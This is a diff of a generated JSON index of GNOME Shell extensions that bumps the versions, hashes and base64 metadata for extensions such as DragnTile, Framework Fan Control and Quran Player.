     "48": {"version": "7", "sha256": "1aj6any6aalbmb7c9xg47qn0akn448sqkxai0vh8j6ywhpvjvmxl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNhdGVnb3JpZXMiOiBbCiAgICAic3lzdGVtLW1vbml0b3IiLAogICAgInN0YXR1cy1pbmRpY2F0b3JzIgogIF0sCiAgImRlc2NyaXB0aW9uIjogIlRyYWNrIG11bHRpcGxlIGN1cnJlbmN5IHBhaXJzIGluY2x1ZGluZyBjcnlwdG9jdXJyZW5jaWVzLiBUaGlzIGV4dGVuc2lvbiB1c2VzIGF3ZXNvbWVhcGkuY29tLmJyIHNlcnZpY2VzIGZvciBjdXJyZW5jeSByYXRlIGRhdGEuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6IgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImN1cnJlbmN5LXRyYWNrZXIiLAogICJpY29uIjogImljb25zL2ljb24uc3ZnIiwKICAibmFtZSI6ICJDdXJyZW5jeSBUcmFja2VyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmN1cnJlbmN5LXRyYWNrZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInN0eWxlc2hlZXQiOiAic3R5bGVzaGVldC5jc3MiLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1hei9jdXJyZW5jeS10cmFja2VyIiwKICAidXVpZCI6ICJjdXJyZW5jeS10cmFja2VyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDcKfQ=="}
   }}
 , {"uuid": "DragnTile@luozengcn.gmail.com", "name": "DragnTile", "pname": "dragntile", "description": "Split/tiling screen in an easy way.", "link": "https://extensions.gnome.org/extension/7863/dragntile/", "shell_version_map": {
-    "45": {"version": "6", "sha256": "1wh0w4ar733ln1jxpfv55vyn0ywni832w3mkl1dm2q19gx71hw1x", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNwbGl0L3RpbGluZyBzY3JlZW4gaW4gYW4gZWFzeSB3YXkuIiwKICAibmFtZSI6ICJEcmFnblRpbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuRHJhZ25UaWxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1otb29wcy9EcmFnblRpbGUiLAogICJ1dWlkIjogIkRyYWduVGlsZUBsdW96ZW5nY24uZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDYsCiAgInZlcnNpb24tbmFtZSI6ICIyNS4wMy4yIgp9"},
-    "46": {"version": "6", "sha256": "1wh0w4ar733ln1jxpfv55vyn0ywni832w3mkl1dm2q19gx71hw1x", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNwbGl0L3RpbGluZyBzY3JlZW4gaW4gYW4gZWFzeSB3YXkuIiwKICAibmFtZSI6ICJEcmFnblRpbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuRHJhZ25UaWxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1otb29wcy9EcmFnblRpbGUiLAogICJ1dWlkIjogIkRyYWduVGlsZUBsdW96ZW5nY24uZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDYsCiAgInZlcnNpb24tbmFtZSI6ICIyNS4wMy4yIgp9"},
-    "47": {"version": "6", "sha256": "1wh0w4ar733ln1jxpfv55vyn0ywni832w3mkl1dm2q19gx71hw1x", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNwbGl0L3RpbGluZyBzY3JlZW4gaW4gYW4gZWFzeSB3YXkuIiwKICAibmFtZSI6ICJEcmFnblRpbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuRHJhZ25UaWxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1otb29wcy9EcmFnblRpbGUiLAogICJ1dWlkIjogIkRyYWduVGlsZUBsdW96ZW5nY24uZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDYsCiAgInZlcnNpb24tbmFtZSI6ICIyNS4wMy4yIgp9"},
-    "48": {"version": "6", "sha256": "1wh0w4ar733ln1jxpfv55vyn0ywni832w3mkl1dm2q19gx71hw1x", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNwbGl0L3RpbGluZyBzY3JlZW4gaW4gYW4gZWFzeSB3YXkuIiwKICAibmFtZSI6ICJEcmFnblRpbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuRHJhZ25UaWxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1otb29wcy9EcmFnblRpbGUiLAogICJ1dWlkIjogIkRyYWduVGlsZUBsdW96ZW5nY24uZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDYsCiAgInZlcnNpb24tbmFtZSI6ICIyNS4wMy4yIgp9"}
+    "45": {"version": "8", "sha256": "12z7jyng14xqpg5bp8p7g1gadh4xzndhvns4jafkxkrx8n9cymlh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNwbGl0L3RpbGluZyBzY3JlZW4gaW4gYW4gZWFzeSB3YXkuIiwKICAibmFtZSI6ICJEcmFnblRpbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuRHJhZ25UaWxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1otb29wcy9EcmFnblRpbGUiLAogICJ1dWlkIjogIkRyYWduVGlsZUBsdW96ZW5nY24uZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDgsCiAgInZlcnNpb24tbmFtZSI6ICIyNS4wNi4xIgp9"},
+    "46": {"version": "8", "sha256": "12z7jyng14xqpg5bp8p7g1gadh4xzndhvns4jafkxkrx8n9cymlh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNwbGl0L3RpbGluZyBzY3JlZW4gaW4gYW4gZWFzeSB3YXkuIiwKICAibmFtZSI6ICJEcmFnblRpbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuRHJhZ25UaWxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1otb29wcy9EcmFnblRpbGUiLAogICJ1dWlkIjogIkRyYWduVGlsZUBsdW96ZW5nY24uZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDgsCiAgInZlcnNpb24tbmFtZSI6ICIyNS4wNi4xIgp9"},
+    "47": {"version": "8", "sha256": "12z7jyng14xqpg5bp8p7g1gadh4xzndhvns4jafkxkrx8n9cymlh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNwbGl0L3RpbGluZyBzY3JlZW4gaW4gYW4gZWFzeSB3YXkuIiwKICAibmFtZSI6ICJEcmFnblRpbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuRHJhZ25UaWxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1otb29wcy9EcmFnblRpbGUiLAogICJ1dWlkIjogIkRyYWduVGlsZUBsdW96ZW5nY24uZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDgsCiAgInZlcnNpb24tbmFtZSI6ICIyNS4wNi4xIgp9"},
+    "48": {"version": "8", "sha256": "12z7jyng14xqpg5bp8p7g1gadh4xzndhvns4jafkxkrx8n9cymlh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNwbGl0L3RpbGluZyBzY3JlZW4gaW4gYW4gZWFzeSB3YXkuIiwKICAibmFtZSI6ICJEcmFnblRpbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuRHJhZ25UaWxlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1otb29wcy9EcmFnblRpbGUiLAogICJ1dWlkIjogIkRyYWduVGlsZUBsdW96ZW5nY24uZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDgsCiAgInZlcnNpb24tbmFtZSI6ICIyNS4wNi4xIgp9"}
   }}
 , {"uuid": "fw-fanctrl-revived@willow.sh", "name": "Framework Fan Control", "pname": "framework-fan-control", "description": "A Gnome extension that provides a convenient way to control your framework laptop fan profile when using fw-fanctrl", "link": "https://extensions.gnome.org/extension/7864/framework-fan-control/", "shell_version_map": {
-    "47": {"version": "4", "sha256": "19gsjjsssln4al3vkaqcknyfx6yg4lnhdhpjmsaw9b60ivv16fjv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIHRoYXQgcHJvdmlkZXMgYSBjb252ZW5pZW50IHdheSB0byBjb250cm9sIHlvdXIgZnJhbWV3b3JrIGxhcHRvcCBmYW4gcHJvZmlsZSB3aGVuIHVzaW5nIGZ3LWZhbmN0cmwiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmdy1mYW5jdHJsLXJldml2ZWRAd2lsbG93LnNoIiwKICAibmFtZSI6ICJGcmFtZXdvcmsgRmFuIENvbnRyb2wiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZnctZmFuY3RybC1yZXZpdmVkIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9naG9zdGRldnYvZnctZmFuY3RybC1yZXZpdmVkLWdub21lLXNoZWxsLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAiZnctZmFuY3RybC1yZXZpdmVkQHdpbGxvdy5zaCIsCiAgInZlcnNpb24iOiA0Cn0="},
-    "48": {"version": "4", "sha256": "19gsjjsssln4al3vkaqcknyfx6yg4lnhdhpjmsaw9b60ivv16fjv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIHRoYXQgcHJvdmlkZXMgYSBjb252ZW5pZW50IHdheSB0byBjb250cm9sIHlvdXIgZnJhbWV3b3JrIGxhcHRvcCBmYW4gcHJvZmlsZSB3aGVuIHVzaW5nIGZ3LWZhbmN0cmwiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmdy1mYW5jdHJsLXJldml2ZWRAd2lsbG93LnNoIiwKICAibmFtZSI6ICJGcmFtZXdvcmsgRmFuIENvbnRyb2wiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZnctZmFuY3RybC1yZXZpdmVkIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9naG9zdGRldnYvZnctZmFuY3RybC1yZXZpdmVkLWdub21lLXNoZWxsLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAiZnctZmFuY3RybC1yZXZpdmVkQHdpbGxvdy5zaCIsCiAgInZlcnNpb24iOiA0Cn0="}
+    "47": {"version": "5", "sha256": "1dnw58x8b7ysycavbgvmklphrb172r27br43plpz7znmnjpyhdjj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIHRoYXQgcHJvdmlkZXMgYSBjb252ZW5pZW50IHdheSB0byBjb250cm9sIHlvdXIgZnJhbWV3b3JrIGxhcHRvcCBmYW4gcHJvZmlsZSB3aGVuIHVzaW5nIGZ3LWZhbmN0cmwiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmdy1mYW5jdHJsLXJldml2ZWRAd2lsbG93LnNoIiwKICAibmFtZSI6ICJGcmFtZXdvcmsgRmFuIENvbnRyb2wiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZnctZmFuY3RybC1yZXZpdmVkIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9naG9zdGRldnYvZnctZmFuY3RybC1yZXZpdmVkLWdub21lLXNoZWxsLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAiZnctZmFuY3RybC1yZXZpdmVkQHdpbGxvdy5zaCIsCiAgInZlcnNpb24iOiA1Cn0="},
+    "48": {"version": "5", "sha256": "1dnw58x8b7ysycavbgvmklphrb172r27br43plpz7znmnjpyhdjj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIHRoYXQgcHJvdmlkZXMgYSBjb252ZW5pZW50IHdheSB0byBjb250cm9sIHlvdXIgZnJhbWV3b3JrIGxhcHRvcCBmYW4gcHJvZmlsZSB3aGVuIHVzaW5nIGZ3LWZhbmN0cmwiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmdy1mYW5jdHJsLXJldml2ZWRAd2lsbG93LnNoIiwKICAibmFtZSI6ICJGcmFtZXdvcmsgRmFuIENvbnRyb2wiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZnctZmFuY3RybC1yZXZpdmVkIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9naG9zdGRldnYvZnctZmFuY3RybC1yZXZpdmVkLWdub21lLXNoZWxsLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAiZnctZmFuY3RybC1yZXZpdmVkQHdpbGxvdy5zaCIsCiAgInZlcnNpb24iOiA1Cn0="}
   }}
 , {"uuid": "open-desktop-location@laura.media", "name": "Open .desktop file location", "pname": "open-desktop-file-location", "description": "Opens the location of the applications .desktop file", "link": "https://extensions.gnome.org/extension/7865/open-desktop-file-location/", "shell_version_map": {
     "45": {"version": "2", "sha256": "1c843rqndqvyfjih710ik0dh7cgnz20a71zbf568dgkp7wmfpaas", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9wZW5zIHRoZSBsb2NhdGlvbiBvZiB0aGUgYXBwbGljYXRpb25zIC5kZXNrdG9wIGZpbGUiLAogICJuYW1lIjogIk9wZW4gLmRlc2t0b3AgZmlsZSBsb2NhdGlvbiIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9sYXVyYXdlYmRldi9vcGVuLWRlc2t0b3AtbG9jYXRpb24iLAogICJ1dWlkIjogIm9wZW4tZGVza3RvcC1sb2NhdGlvbkBsYXVyYS5tZWRpYSIsCiAgInZlcnNpb24iOiAyLAogICJ2ZXJzaW9uLW5hbWUiOiAiMS4wLjEiCn0="},
@@ -9119,10 +9147,10 @@
     "47": {"version": "4", "sha256": "0a4jq41plqc67p5ys9drrp7qkdr0pbisbm3d2gq9vsyyvsb33aq5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVTRCAoVVMgRG9sbGFyKSBjb252ZXJ0ZWQgdG8gSUxTIChJc3JhZWxpIFNoZWtlbCkuIFVwZGF0ZXMgYXJlIHJlY2VpdmVkIGV2ZXJ5IDMwIHNlY29uZHMuXG5cbkl0IGlzIGEgZm9yayBvZiBEb2xsYXItVFJZLiBUaGlzIGV4dGVuc2lvbiB1c2VzIGVjb25vbWlhLmF3ZXNvbWVhcGkuY29tLmJyIiwKICAibmFtZSI6ICJVU0QtSUxTIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1lvYXYtTW9yYWcvVVNELUlMUy1HU2hlbGwiLAogICJ1dWlkIjogInVzZC1pbHMtZ3NoZWxsQHlvYXYtbW9yYWcuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0Cn0="}
   }}
 , {"uuid": "quran-player@faymaz.github.com", "name": "Quran Player", "pname": "quran-player", "description": "Listen to Quran recitations directly from your GNOME Shell. Features multiple reciters with audio from QuranCentral.com and Archive.org servers.", "link": "https://extensions.gnome.org/extension/7991/quran-player/", "shell_version_map": {
-    "45": {"version": "11", "sha256": "1jdhig81v3q03l9hy15r0p5pd9m13k8bqlm0a0wk2bqpz8qnrc1p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpc3RlbiB0byBRdXJhbiByZWNpdGF0aW9ucyBkaXJlY3RseSBmcm9tIHlvdXIgR05PTUUgU2hlbGwuIEZlYXR1cmVzIG11bHRpcGxlIHJlY2l0ZXJzIHdpdGggYXVkaW8gZnJvbSBRdXJhbkNlbnRyYWwuY29tIGFuZCBBcmNoaXZlLm9yZyBzZXJ2ZXJzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1heiIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJxdXJhbi1wbGF5ZXIiLAogICJuYW1lIjogIlF1cmFuIFBsYXllciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdXJhbi1wbGF5ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6L3F1cmFuLXBsYXllciIsCiAgInV1aWQiOiAicXVyYW4tcGxheWVyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDExCn0="},
-    "46": {"version": "11", "sha256": "1jdhig81v3q03l9hy15r0p5pd9m13k8bqlm0a0wk2bqpz8qnrc1p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpc3RlbiB0byBRdXJhbiByZWNpdGF0aW9ucyBkaXJlY3RseSBmcm9tIHlvdXIgR05PTUUgU2hlbGwuIEZlYXR1cmVzIG11bHRpcGxlIHJlY2l0ZXJzIHdpdGggYXVkaW8gZnJvbSBRdXJhbkNlbnRyYWwuY29tIGFuZCBBcmNoaXZlLm9yZyBzZXJ2ZXJzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1heiIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJxdXJhbi1wbGF5ZXIiLAogICJuYW1lIjogIlF1cmFuIFBsYXllciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdXJhbi1wbGF5ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6L3F1cmFuLXBsYXllciIsCiAgInV1aWQiOiAicXVyYW4tcGxheWVyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDExCn0="},
-    "47": {"version": "11", "sha256": "1jdhig81v3q03l9hy15r0p5pd9m13k8bqlm0a0wk2bqpz8qnrc1p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpc3RlbiB0byBRdXJhbiByZWNpdGF0aW9ucyBkaXJlY3RseSBmcm9tIHlvdXIgR05PTUUgU2hlbGwuIEZlYXR1cmVzIG11bHRpcGxlIHJlY2l0ZXJzIHdpdGggYXVkaW8gZnJvbSBRdXJhbkNlbnRyYWwuY29tIGFuZCBBcmNoaXZlLm9yZyBzZXJ2ZXJzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1heiIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJxdXJhbi1wbGF5ZXIiLAogICJuYW1lIjogIlF1cmFuIFBsYXllciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdXJhbi1wbGF5ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6L3F1cmFuLXBsYXllciIsCiAgInV1aWQiOiAicXVyYW4tcGxheWVyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDExCn0="},
-    "48": {"version": "11", "sha256": "1jdhig81v3q03l9hy15r0p5pd9m13k8bqlm0a0wk2bqpz8qnrc1p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpc3RlbiB0byBRdXJhbiByZWNpdGF0aW9ucyBkaXJlY3RseSBmcm9tIHlvdXIgR05PTUUgU2hlbGwuIEZlYXR1cmVzIG11bHRpcGxlIHJlY2l0ZXJzIHdpdGggYXVkaW8gZnJvbSBRdXJhbkNlbnRyYWwuY29tIGFuZCBBcmNoaXZlLm9yZyBzZXJ2ZXJzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1heiIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJxdXJhbi1wbGF5ZXIiLAogICJuYW1lIjogIlF1cmFuIFBsYXllciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdXJhbi1wbGF5ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6L3F1cmFuLXBsYXllciIsCiAgInV1aWQiOiAicXVyYW4tcGxheWVyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDExCn0="}
+    "45": {"version": "12", "sha256": "0g6mz2vibka1dg030vbijxpw29121jlj3zsxb3b042s21s72d9fc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpc3RlbiB0byBRdXJhbiByZWNpdGF0aW9ucyBkaXJlY3RseSBmcm9tIHlvdXIgR05PTUUgU2hlbGwuIEZlYXR1cmVzIG11bHRpcGxlIHJlY2l0ZXJzIHdpdGggYXVkaW8gZnJvbSBRdXJhbkNlbnRyYWwuY29tIGFuZCBBcmNoaXZlLm9yZyBzZXJ2ZXJzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1heiIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJxdXJhbi1wbGF5ZXIiLAogICJuYW1lIjogIlF1cmFuIFBsYXllciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdXJhbi1wbGF5ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6L3F1cmFuLXBsYXllciIsCiAgInV1aWQiOiAicXVyYW4tcGxheWVyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEyCn0="},
+    "46": {"version": "12", "sha256": "0g6mz2vibka1dg030vbijxpw29121jlj3zsxb3b042s21s72d9fc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpc3RlbiB0byBRdXJhbiByZWNpdGF0aW9ucyBkaXJlY3RseSBmcm9tIHlvdXIgR05PTUUgU2hlbGwuIEZlYXR1cmVzIG11bHRpcGxlIHJlY2l0ZXJzIHdpdGggYXVkaW8gZnJvbSBRdXJhbkNlbnRyYWwuY29tIGFuZCBBcmNoaXZlLm9yZyBzZXJ2ZXJzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1heiIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJxdXJhbi1wbGF5ZXIiLAogICJuYW1lIjogIlF1cmFuIFBsYXllciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdXJhbi1wbGF5ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6L3F1cmFuLXBsYXllciIsCiAgInV1aWQiOiAicXVyYW4tcGxheWVyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEyCn0="},
